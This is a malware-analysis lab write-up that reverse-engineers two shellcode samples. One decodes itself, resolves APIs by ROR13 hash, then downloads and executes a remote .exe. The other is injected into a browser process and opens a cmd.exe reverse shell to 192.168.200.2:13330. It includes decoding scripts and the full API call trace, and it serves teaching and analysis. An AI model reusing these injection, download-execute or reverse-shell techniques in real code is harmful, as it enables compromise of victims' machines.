lab19

Lab 19-1

At the beginning, the shellcode executes a sequence of meaningless inc instructions before transferring control to the actual payload. Once execution reaches the relevant region, ecx is set to 397, followed immediately by a subroutine call.

pop     esi
push    esi
mov     edi, esi

These three instructions recover the current EIP value from the stack. Specifically, the call pushes the address of the subsequent data onto the stack, and pop esi retrieves it. This address points to the encoded payload that follows. Initially, this region appears to contain invalid or nonsensical instructions. Undefining the area reveals that the bytes correspond to valid uppercase ASCII characters, indicating that the data is encoded rather than executable.

The decoding routine is implemented as follows:

lodsb
mov     dl, al
sub     dl, 41h ; 'A'
shl     dl, 4
lodsb
sub     al, 41h ; 'A'
add     al, dl
stosb
dec     ecx
jnz     short loc_20C

This loop runs 397 iterations. Each iteration processes two consecutive bytes. For both bytes, 0x41 (ASCII ‘A’) is subtracted. The first adjusted value becomes the high nibble (shifted left by four), and the second becomes the low nibble. The two are combined to reconstruct a single decoded byte, which is written in place via stosb. Effectively, the encoded payload uses characters in the range A–P to represent hexadecimal values.

The following IDAPython script reproduces this decoding logic:

import idc
import ida_bytes

def is_valid_char(b):
    return 0x41 <= b <= 0x50

def auto_decode_shellcode():
    start_addr = idc.get_screen_ea()
    
    read_ptr = start_addr
    write_ptr = start_addr
    
    while True:
        high_char = ida_bytes.get_byte(read_ptr)
        low_char = ida_bytes.get_byte(read_ptr + 1)

        if not is_valid_char(high_char) or not is_valid_char(low_char): break

        val_high = (high_char - 0x41) << 4
        val_low = (low_char - 0x41)

        final_byte = (val_high + val_low) & 0xFF

        idc.patch_byte(write_ptr, final_byte)

        read_ptr += 2
        write_ptr += 1
            
auto_decode_shellcode()

Placing the cursor at the start of the encoded region and executing the script reconstructs the original instructions in place. The first resolved routine begins by locating the base address of kernel32.dll.

The shellcode accesses the PEB via the TEB and then navigates to the PEB_LDR_DATA structure. From there, it follows the InInitializationOrderModuleList. Advancing to the second entry yields the module corresponding to kernel32.dll.

mov     ebp, [esp+20h+kernel32]
mov     eax, [ebp+3Ch]
mov     edx, [ebp+eax+78h]
add     edx, ebp

With the base address of kernel32.dll in ebp, the shellcode parses the PE headers to locate the Export Directory. It reads the e_lfanew field from the DOS header (offset 0x3C) to reach the NT headers. From the Optional Header’s Data Directory, entry 0 (offset 0x78 relative to the NT headers) provides the RVA of the Export Directory. Adding the module base converts this RVA into a usable pointer in edx.

The Export Directory contains three parallel arrays: AddressOfNames, AddressOfNameOrdinals, and AddressOfFunctions. The value at offset 0x18 gives NumberOfNames, which is used as a loop counter.

The shellcode iterates backward through the AddressOfNames array. For each name, it invokes sub_231, which computes a hash of the function name. Analysis shows that this routine implements a ROR13 additive hash.

import pefile

TARGET_HASH = 0x00000

def ror32(value, bits):
    return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF

def api_hash(name: str) -> int:
    h = 0
    for c in name:
        h = ror32(h, 13)
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

def resolve_hash(dll_path, target_hash):
    pe = pefile.PE(dll_path)

    for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if export.name:
            name = export.name.decode()
            if api_hash(name) == target_hash:
                return name

    return None


dll = "kernel32.dll"

result = resolve_hash(dll, TARGET_HASH)

if result:
    print(f"Resolved: {result}")
else:
    print("Not found")

Using this method against kernel32.dll, the resolved APIs are: LoadLibraryA, GetSystemDirectoryA, TerminateProcess, GetCurrentProcess, and WinExec.

lea     eax, [ebx]
push    eax
call    dword ptr [ebp-4]

At this stage, the shellcode invokes LoadLibraryA, passing the contents of ebx as its argument. Tracing the origin of ebx reveals that it contains a pointer to a string embedded directly after a call instruction. Earlier in the code, this call was used in combination with a pop instruction to retrieve the address of the data immediately following it. This confirms that the referenced location contains data rather than executable instructions.

seg000:00000364                 call    sub_2BF
seg000:00000369 aUrlmon         db 'URLMON',0
seg000:00000370 aHttpWwwPractic db 'http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe',0

Defining this region as ASCII data reveals the string “URLMON” which is the name of a Windows DLL. This confirms that the shellcode is dynamically loading URLMON.dll using LoadLibraryA. Immediately following this string is a URL pointing to an executable hosted remotely.

After successfully loading URLMON.dll, the shellcode calls GetSystemDirectoryA to retrieve the full path of the Windows system directory. It then appends the string \1.exe to this path, constructing the destination file path where the downloaded executable will be saved.

Next, the shellcode invokes the hash lookup routine again, this time using the base address of URLMON.dll. Reversing the corresponding hash confirms that the resolved function is indeed URLDownloadToFileA.

Finally, the shellcode calls URLDownloadToFileA, passing the remote URL as the source and the constructed system directory path as the destination. This results in the malicious executable being downloaded and saved locally. Once the download completes, the shellcode executes the file using WinExec.

The full execution sequence is as follows:

401313  LoadLibraryA(URLMON)
40132d  GetSystemDirectoryA( c:\windows\system32\ )
40134c  URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
401358  WinExec(c:\WINDOWS\system32\1.exe)
40135b  GetCurrentProcess() = 1
401364  TerminateProcess(1) = 1

Lab 19-2

The program begins by modifying its own process token to enable the SeDebugPrivilege. This privilege allows the process to open and manipulate other processes regardless of their security descriptors, which is required for process injection.

The next function queries the registry key:

\http\shell\open\command

This registry value contains the full path of the system’s default web browser. The malware retrieves this path and uses CreateProcessA to launch a new browser instance. The PID of the newly created process is stored for later use.

The malware then opens this process using OpenProcess, requesting sufficient permissions to manipulate its memory. It allocates memory inside the remote process using VirtualAllocEx, writes the shellcode into that allocated region using WriteProcessMemory, and finally creates a remote thread using CreateRemoteThread. This causes the injected shellcode to execute within the context of the browser process, effectively hiding its execution inside a legitimate application.

The injected shellcode begins with a standard position-independent technique. It performs a jump to a call instruction, which pushes the address of the encoded payload onto the stack. A subsequent pop instruction retrieves this address, allowing the shellcode to locate its own encoded data in memory.

It then initializes ecx with the value 399, which serves as the loop counter, and uses the value 231 (0xE7) as the XOR decryption key. The shellcode enters a loop that iterates 399 times, XORing each byte of the encoded payload with the key. This restores the original executable instructions in place. Once decoding completes, execution continues into the decoded shellcode.

The following IDAPython script reproduces this decoding process:

import ida_bytes
import ida_kernwin
import idaapi

KEY = 0xE7
LENGTH = 0x18F

start = ida_kernwin.get_screen_ea()

for i in range(LENGTH):
    ea = start + i
    orig = ida_bytes.get_byte(ea)
    decoded = orig ^ KEY
    ida_bytes.patch_byte(ea, decoded)
    
idaapi.create_insn(start)
idaapi.auto_wait()

After applying this script and redefining the region as code, the original instructions become visible.

The shellcode first retrieves the base address of kernel32.dll using the PEB traversal technique described previously. It then resolves several API functions using the same hash-based export lookup mechanism. Reversing the stored hashes reveals the following resolved functions: LoadLibraryA, CreateProcessA, TerminateProcess, and GetCurrentProcess.

Using the resolved LoadLibraryA, the shellcode loads ws2_32.dll, which provides Windows socket functionality. It then resolves the addresses of WSAStartup, WSASocketA, and connect.

The shellcode constructs a sockaddr_in structure directly on the stack by pushing two DWORD values. The value 02C8A8C0h corresponds to the IP address 192.168.200.2 in network byte order. The value 12340002h encodes both the address family (AF_INET, value 2) and the port number 13330 (0x3412) in network byte order.

This constructed sockaddr_in structure is passed to the connect function, establishing a TCP connection to the remote host.

Finally, the shellcode invokes CreateProcessA with “cmd.exe” as the target executable. The socket handle is configured as the standard input and output for the new process. This effectively binds the command shell to the network socket, creating a reverse shell. This allows the remote attacker at 192.168.200.2:13330 to remotely execute commands on the infected system through the injected browser process.